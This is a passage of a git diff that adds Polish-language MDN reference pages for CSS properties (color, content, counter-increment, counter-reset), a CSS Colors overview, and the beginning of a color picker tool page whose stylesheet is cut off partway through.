+</li><li> {{ Xref_csscomputed() }}: jako określone
+</li></ul>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">color: <i>color</i> | inherit
+</pre>
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci"> Wartości </h3>
+<dl><dt> color </dt><dd> Kolor może być określony zgodnie z poniższymi zasadami:
+</dd></dl>
+<ul><li> jako heksadecymalna (szesnastkowa) wartość RGB
+</li><li> jako regularna wartość RGB lub RGBA {{ Fx_minversion_inline(3) }}
+</li><li> jako regularna wartość HSL lub HSLA {{ Fx_minversion_inline(3) }}
+</li><li> jako jedna z predefiniowanych nazw kolorów
+</li></ul>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>Poniżej są wszystkie sposoby na zrobienie czerwonego tekstu w elemencie:
+</p>
+<pre class="eval">element { color: red }
+element { color: #f00 }
+element { color: #ff0000 }
+element { color: rgb(255,0,0) }
+element { color: rgb(100%, 0%, 0%) }
+element { color: hsl(0, 100%, 50%) } {{ Fx_minversion_inline(3) }}
+</pre>
+<p>Jeśli chcesz uwzględnić wartość kanału alfa by uwzględnić przezroczystość, możesz użyć kolorów w formacie RGBA lub HSLA:
+</p>
+<pre class="eval">element { color: rgba(255, 0, 0, 0.5) } {{ Fx_minversion_inline(3) }}
+element { color: hsla(0, 100%, 50%, 0.5) } {{ Fx_minversion_inline(3) }}
+</pre>
+<p>Oba powyższe przykłady definiują kolor z przezroczystością ustawioną na 0.5 lub 50%.
+</p>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<ul><li> <a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone</a>
+</li></ul>
+<h3 id="Specyfikacje" name="Specyfikacje"> Specyfikacje </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#color">CSS 1</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/colors.html">CSS 2.1</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/2003/CR-css3-color-20030514/#color">CSS 3</a>
+</li></ul>
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85"> Zgodność z przeglądarką </h3>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/color", "es": "es/CSS/color", "fr": "fr/CSS/color", "ja": "ja/CSS/color" } ) }}
diff --git a/files/pl/web/css/content/index.html b/files/pl/web/css/content/index.html
new file mode 100644
index 0000000000..b9d75f21cc
--- /dev/null
+++ b/files/pl/web/css/content/index.html
@@ -0,0 +1,107 @@
+---
+title: content
+slug: Web/CSS/content
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/content
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Własność <strong>content</strong> określa, co jest wyświetlane wewnątrz pseudoelementów  :before i :after.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("normal") }}</li>
+ <li>Stosowana do: pseudoelementów {{ Cssxref(":before") }} i {{ Cssxref(":after") }}</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: wszystkie</li>
+ <li>{{ Xref_csscomputed() }}:</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">content : normal | none | inherit | no-open-quote | no-close-quote ;
+</pre>
+
+<pre class="eval">content : [ &lt;string&gt; | &lt;counter&gt; | attr(&lt;identifier&gt;) | &lt;uri&gt;
+ | open-quote | close-quote]+ ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>{{ Cssxref("none") }}</dt>
+ <dt>{{ Cssxref("normal") }}</dt>
+ <dt>{{cssxref("&lt;string&gt;")}}</dt>
+ <dt>{{cssxref("&lt;uri&gt;")}}</dt>
+ <dd>jeden lub więcej identyfikatorów URI odsyłających do zewnętrznego źródła, takiego jak obrazek.</dd>
+ <dt>{{cssxref("&lt;counter&gt;")}}</dt>
+ <dt>open-quote i close-quote</dt>
+ <dd>będzie to zamienione przez odpowiednie ciągi z własności 'quotes'.</dd>
+ <dt>no-open-quote i no-close-quote</dt>
+ <dd>zwiększa (zmniejsza) poziom zagnieżdżeń cytatów, ale nie dodaje żadnej zawartości.</dd>
+ <dt>attr(attribute-name)</dt>
+ <dd>będzie to zamienione przez wartość ciągu atrybutu węzła.</dd>
+</dl>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<pre class="eval">q:lang { quotes: '"' '"' "'" "'" }
+q:before { content: open-quote }
+q:after { content: close-quote }
+</pre>
+
+<pre class="eval">h1:before {
+ content: "Chapter: ";
+}
+</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#content">W3C Cascading Style Sheets, level 2 revision 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/generate.html#content">W3C Cascading Style Sheets, level 2</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-content/#inserting3">W3C Cascading Style Sheets, level 3</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>?</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("quotes") }}</p>
diff --git a/files/pl/web/css/counter-increment/index.html b/files/pl/web/css/counter-increment/index.html
new file mode 100644
index 0000000000..00cdfff28b
--- /dev/null
+++ b/files/pl/web/css/counter-increment/index.html
@@ -0,0 +1,67 @@
+---
+title: counter-increment
+slug: Web/CSS/counter-increment
+tags:
+ - CSS
+ - CSS List
+ - CSS Property
+translation_of: Web/CSS/counter-increment
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>counter-increment</code> zwiększa wartość <a href="pl/Liczniki_CSS">liczników CSS</a> o podaną wielkość.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}:</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}:</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">counter-increment: [&lt;identyfikator&gt; &lt;liczba całkowita&gt;?]+ | inherit | none
+</pre>
+
+<h2 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h2>
+
+<dl>
+ <dt>identyfikator</dt>
+ <dd>Nazwa licznika, którego wartość jest zwiększana.</dd>
+ <dt>integer</dt>
+ <dd>Wartość, która ma być dodana do licznika. Domyślnie 1.</dd>
+</dl>
+
+<p>Można zwiększyć wartość dowolnej liczby liczników oddzielając wszystkie spacją.</p>
+
+<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2>
+
+<ul>
+ <li><a href="pl/CSS/counter-reset">counter-reset</a> ustawia wartość danego <a href="pl/Liczniki_CSS">licznika CSS</a> na podaną</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>h1 {
+ counter-increment: rozdzial sekcja 2 strona; /* Zwiększa wartość liczników
+ rozdział i strona o 1,
+ oraz wartość licznika sekcja o 2 */
+}
+</pre>
+
+<p>Powyższy zapis jest równoważny z:</p>
+
+<pre>h1 {
+ counter-increment: rozdzial 1 sekcja 2 strona 1;
+}
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li><a href="pl/Liczniki_CSS">Liczniki CSS</a></li>
+</ul>
diff --git a/files/pl/web/css/counter-reset/index.html b/files/pl/web/css/counter-reset/index.html
new file mode 100644
index 0000000000..ff2fcd5b91
--- /dev/null
+++ b/files/pl/web/css/counter-reset/index.html
@@ -0,0 +1,66 @@
+---
+title: counter-reset
+slug: Web/CSS/counter-reset
+tags:
+ - CSS
+ - CSS List
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/counter-reset
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>counter-reset</code> ustawia wartość <a href="pl/Liczniki_CSS">liczników CSS</a>.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}:</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}:</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">counter-reset: [ &lt;identyfikator&gt; &lt;liczba całkowita&gt;? ]+ | inherit | none
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>identyfikator</dt>
+ <dd>Nazwa licznika, którego wartość jest ustawiana.</dd>
+ <dt>liczba całkowita</dt>
+ <dd>Wartość, którą ma przyjąć dany licznik przy każdym pojawieniu się danego elementu. Domyślnie 0.</dd>
+</dl>
+
+<p>Można ustawić dowolną liczbę liczników oddzielając wszystkie spacją.</p>
+
+<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2>
+
+<ul>
+ <li><a href="pl/CSS/counter-increment">counter-increment</a> zwiększa wartość danego <a href="pl/Liczniki_CSS">licznika CSS</a> o podaną wielkość.</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>h1 {
+ counter-reset: rozdzial sekcja 1 strona; /* Ustawia wartość liczników
+ rozdział i strona na 0,
+ oraz wartość licznika sekcja na 1 */
+}
+</pre>
+
+<p>Powyższy zapis jest równoważny z:</p>
+
+<pre>h1 {
+ counter-reset: rozdzial 0 sekcja 1 strona 0;
+}
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p><a href="pl/Liczniki_CSS">Liczniki CSS</a>, {{ Cssxref("counter-increment") }}</p>
diff --git a/files/pl/web/css/css_colors/index.html b/files/pl/web/css/css_colors/index.html
new file mode 100644
index 0000000000..48b67295d0
--- /dev/null
+++ b/files/pl/web/css/css_colors/index.html
@@ -0,0 +1,119 @@
+---
+title: CSS Colors
+slug: Web/CSS/CSS_Colors
+tags:
+ - CSS
+ - CSS Colors
+ - NeedsTranslation
+ - Overview
+ - Reference
+ - TopicStub
+translation_of: Web/CSS/CSS_Color
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Colors</strong> is a module of CSS that deals with colors, color types and transparency.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_Data_Types">CSS Data Types</h3>
+
+<p>{{cssxref("&lt;color&gt;")}}</p>
+
+<h2 id="Guides">Guides</h2>
+
+<p><em>None.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Colors')}}</td>
+ <td>{{Spec2('CSS3 Colors')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'colors.html')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1")}}</td>
+ <td>3.0</td>
+ <td>3.5</td>
+ <td>1.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoMobile("1")}}</td>
+ <td>6.0</td>
+ <td>6.0</td>
+ <td>1.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>In CSS, gradients aren't colors but <a href="/en-US/docs/Web/CSS/CSS_Images">images</a>.</li>
+</ul>
diff --git a/files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html b/files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html
new file mode 100644
index 0000000000..7907144f10
--- /dev/null
+++ b/files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html
@@ -0,0 +1,3241 @@
+---
+title: Narzędzie doboru kolorów
+slug: Web/CSS/CSS_Colors/Narzedzie_doboru_kolorow
+tags:
+ - CSS
+ - CSS Kolory
+ - HTML Kolory
+ - Narzędzia
+ - kolor
+ - kolory
+ - narzędzie
+ - narzędzie do wybierania kolorów
+ - wybieranie kolorów
+translation_of: Web/CSS/CSS_Colors/Color_picker_tool
+---
+<div style="display: none;">
+<h2 id="ColorPicker_Tool" name="ColorPicker_Tool">ColorPicker tool</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html notranslate">    &lt;div id="container"&gt;
+        &lt;div id="palette" class="block"&gt;
+            &lt;div id="color-palette"&gt;&lt;/div&gt;
+            &lt;div id="color-info"&gt;
+                &lt;div class="title"&gt; CSS Color &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="picker" class="block"&gt;
+            &lt;div class="ui-color-picker" data-topic="picker" data-mode="HSL"&gt;&lt;/div&gt;
+            &lt;div id="picker-samples" sample-id="master"&gt;&lt;/div&gt;
+            &lt;div id="controls"&gt;
+                &lt;div id="delete"&gt;
+                    &lt;div id="trash-can"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div id="void-sample" class="icon"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="canvas" data-tutorial="drop"&gt;
+            &lt;div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css notranslate">/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+ width: 420px;
+ margin: 0;
+ border: 1px solid #DDD;
+ background-color: #FFF;
+ display: table;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+.ui-color-picker .picking-area {
+ width: 198px;
+ height: 198px;
+ margin: 5px;
+ border: 1px solid #DDD;
+ position: relative;
+ float: left;
+ display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+ cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+ background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+ background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+ background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+ background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+ background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+ background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+ background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+ hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+ -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+ background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+ hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+ -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+ background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+ hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+ -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+ background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+ hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+ -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+ background-color: #F00;
+}
+
+.ui-color-picker .picker {
+ width: 10px;
+ height: 10px;
+ border-radius: 50%;
+ border: 1px solid #FFF;
+ position: absolute;
+ top: 45%;
+ left: 45%;
+}
+
+.ui-color-picker .picker:before {
+ width: 8px;
+ height: 8px;
+ content: "";
+ position: absolute;
+ border: 1px solid #999;
+ border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+ width: 198px;
+ height: 28px;
+ margin: 5px;
+ border: 1px solid #FFF;
+ float: left;
+}
+
+.ui-color-picker .hue {
+ background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+ background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+ background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+ background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+ background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+ border: 1px solid #CCC;
+ background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+ width: 100%;
+ height: 100%;
+ background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+ width: 2px;
+ height: 100%;
+ border: 1px solid #777;
+ background-color: #FFF;
+ position: relative;
+ top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+ width: 200px;
+ margin: 5px;
+ float: left;
+}
+
+.ui-color-picker .info * {
+ float: left;
+}
+
+.ui-color-picker .input {
+ width: 64px;
+ margin: 5px 2px;
+ float: left;
+}
+
+.ui-color-picker .input .name {
+ height: 20px;
+ width: 30px;
+ text-align: center;
+ font-size: 14px;
+ line-height: 18px;
+ float: left;
+}
+
+.ui-color-picker .input input {
+ width: 30px;
+ height: 18px;
+ margin: 0;
+ padding: 0;
+ border: 1px solid #DDD;
+ text-align: center;
+ float: right;
+
+ -moz-user-select: text;
+ -webkit-user-select: text;
+ -ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+ display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+ display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+ display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+ margin-top: 10px;
+ width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; .name {
+ width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; input {
+ float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+ width: auto;
+ float: right;
+ margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; .name {
+ display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; input {
+ width: 90px;
+ height: 24px;
+ padding: 2px 0;
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+ width: 95px;
+ height: 53px;
+ margin: 5px;
+ margin-top: 10px;
+ border: 1px solid #DDD;
+ background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+ float: left;
+ position: relative;
+}
+
+.ui-color-picker .preview:before {
+ height: 100%;
+ width: 50%;
+ left: 50%;
+ top: 0;
+ content: "";
+ background: #FFF;
+ position: absolute;
+ z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+ width: 100%;
+ height: 100%;
+ background-color: rgba(255, 0, 0, 0.5);
+ position: absolute;
+ z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+ width: 10px;
+ height: 20px;
+ position: relative;
+ border-radius: 5px 0 0 5px;
+ border: 1px solid #DDD;
+ background-color: #EEE;
+ left: -12px;
+ top: -1px;
+ z-index: 1;
+ transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+ background-color: #CCC;
+ cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+ height: 20px;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ -moz-user-select: none;
+ user-select: none;
+}
+
+.ui-input-slider * {
+ float: left;
+ height: 100%;
+ line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+ margin: 0;
+ padding: 0;
+ width: 50px;
+ text-align: center;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+ width: 90px;
+ padding: 0px 10px 0px 0px;
+ text-align: right;
+ text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+ width: 16px;
+ cursor: pointer;
+ background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+ background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+ width: 90px;
+ padding: 0 10px 0 0;
+ text-align: right;
+ text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+ width: 25px;
+ background-color: #2C9FC9;
+ border-radius: 5px;
+ color: #FFF;
+ font-weight: bold;
+ line-height: 14px;
+ text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+ background-color: #379B4A;
+ cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+ max-width: 1000px;
+ margin: 0 auto;
+
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+ box-shadow: 0 0 5px 0 #999;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+ width: 10px;
+ height: 10px;
+ background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+ position: absolute;
+ bottom: 0;
+ right: 0;
+}
+
+[data-resize='both']:hover {
+ cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+ cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+ cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+ display: none;
+}
+
+[data-collapsed='true'] {
+ height: 0 !important;
+}
+
+.block {
+ display: table;
+}
+
+
+/**
+ * Container
+ */
+#container {
+ width: 100%;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ display: table;
+}
+
+/**
+ * Picker Zone
+ */
+
+#picker {
+ padding: 10px;
+ width: 980px;
+}
+
+.ui-color-picker {
+ padding: 3px 5px;
+ float: left;
+ border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+ display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+ cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+ width: 375px;
+ height: 114px;
+ max-height: 218px;
+ margin: 0 10px 0 30px;
+ overflow: hidden;
+ position: relative;
+ float: left;
+
+ transition: all 0.2s;
+}
+
+#picker-samples .sample {
+ width: 40px;
+ height: 40px;
+ margin: 5px;
+ border: 1px solid #DDD;
+ position: absolute;
+ float: left;
+ transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+ cursor: pointer;
+ border-color: #BBB;
+ transform: scale(1.15);
+ border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+ border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+ content: "";
+ position: absolute;
+ background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+ width: 100%;
+ height: 12px;
+ top: -12px;
+ z-index: 2;
+}
+
+#picker-samples #add-icon {
+ width: 100%;
+ height: 100%;
+ position: relative;
+ box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+ cursor: pointer;
+ border-color: #DDD;
+ box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+ content: "";
+ position: absolute;
+ background-color: #EEE;
+ box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+ width: 70%;
+ height: 16%;
+ top: 42%;
+ left: 15%;
+}
+
+#picker-samples #add-icon:after {
+ width: 16%;
+ height: 70%;
+ top: 15%;
+ left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+ background-color: #DDD;
+ box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * Controls
+ */
+
+#controls {
+ width: 110px;
+ padding: 10px;
+ float: right;
+}
+
+#controls #picker-switch {
+ text-align: center;
+ float: left;
+}
+
+#controls .icon {
+ width: 48px;
+ height: 48px;
+ margin: 10px 0;
+ background-repeat: no-repeat;
+ background-position: center;
+ border: 1px solid #DDD;
+ display: table;
+ float: left;
+}
+
+#controls .icon:hover {
+ cursor: pointer;
+}
+
+#controls .picker-icon {
+ background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+ margin-right: 10px;
+ background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+ background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+ border-color: #CCC;
+ background-position: center right;
+}
+
+#controls .switch {
+ width: 106px;
+ padding: 1px;
+ border: 1px solid #CCC;
+ font-size: 14px;
+ text-align: center;
+ line-height: 24px;
+ overflow: hidden;
+ float: left;
+}
+
+#controls .switch:hover {
+ cursor: pointer;
+}
+
+#controls .switch &gt; * {
+ width: 50%;
+ padding: 2px 0;
+ background-color: #EEE;
+ float: left;
+}
+
+#controls .switch [data-active='true'] {
+ color: #FFF;
+ background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+ background-color: #777;
+}
+
+/**
+ * Trash Can
+ */
+
+#delete {
+ width: 100%;
+ height: 94px;
+ background-color: #DDD;
+ background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+ background-repeat: repeat;
+
+ text-align: center;
+ color: #777;
+
+ position: relative;
+ float: right;
+}
+
+#delete #trash-can {
+ width: 80%;
+ height: 80%;
